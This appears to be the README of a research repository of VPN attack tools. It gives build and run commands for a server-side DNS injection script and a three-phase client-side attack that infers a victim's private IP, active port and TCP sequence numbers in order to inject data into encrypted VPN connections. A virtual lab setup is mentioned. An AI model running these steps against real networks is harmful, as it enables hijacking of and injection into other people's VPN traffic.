vpn-attacks
Attack Machine Environment
- C++
- libtins (http://libtins.github.io/download/)
Server-side attack
Requirements
- VPN client connected to a VPN server
- Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two
Note: Full virtual test environment setup for the server-side attack is detailed in the README within the virt-lab folder
Running the DNS Attack Script
- Change to udp-dns attack folder -
cd other-end-attack/dnuss/full_scan - Compile attack script -
make - Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm):
sudo conntrack -L | grep udp - Try to inject from attack router -
sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>
Client-side attack
Requirements
- VPN client connected to a VPN server
- Reverse path filtering disabled on the VPN client machine
- Attack router acting as the local network gateway for the victim (VPN client) machine
Running the Full Attack Script
- Rebuild all the attack scripts:
./rebuild_all.sh cd full_attack- Change
attack.shvars to appropriate values sh attack.sh <remote_ip>
Note: remote_ip specifies the IP address of the HTTP site.
Testing Indivual attack phases
Phase 1 - Infer victim's private address
cd first_phasepython3 send.py <victim_public_ip> <private_ip_range>
Note: private_ip_range specifies a /24 network such as 10.7.7.0.
Phase 2 - Infer the port being used to talk to some remote address
cd sec_phase- Edit
send.cppto use the correct MAC addresses g++ send.cpp -o send -ltins./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>
Note: <remote_ip> is the address we wanna check if the client is connected to and the <remote_port> is almost always 80 or 443. The <victim_wlan_ip> is the public address of the victim and <victim_priv_ip> was found in phase 1. If the scripts not sniffing any challenge acks, then edit the send.cpp file to uncomment the cout line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.
Phase 3 - Infer exact sequence number and in-window ack
cd third_phase- Edit
send.cppto use the correct MAC addresses g++ send.cpp -o send -ltins./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>
Note: <victim_port> was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.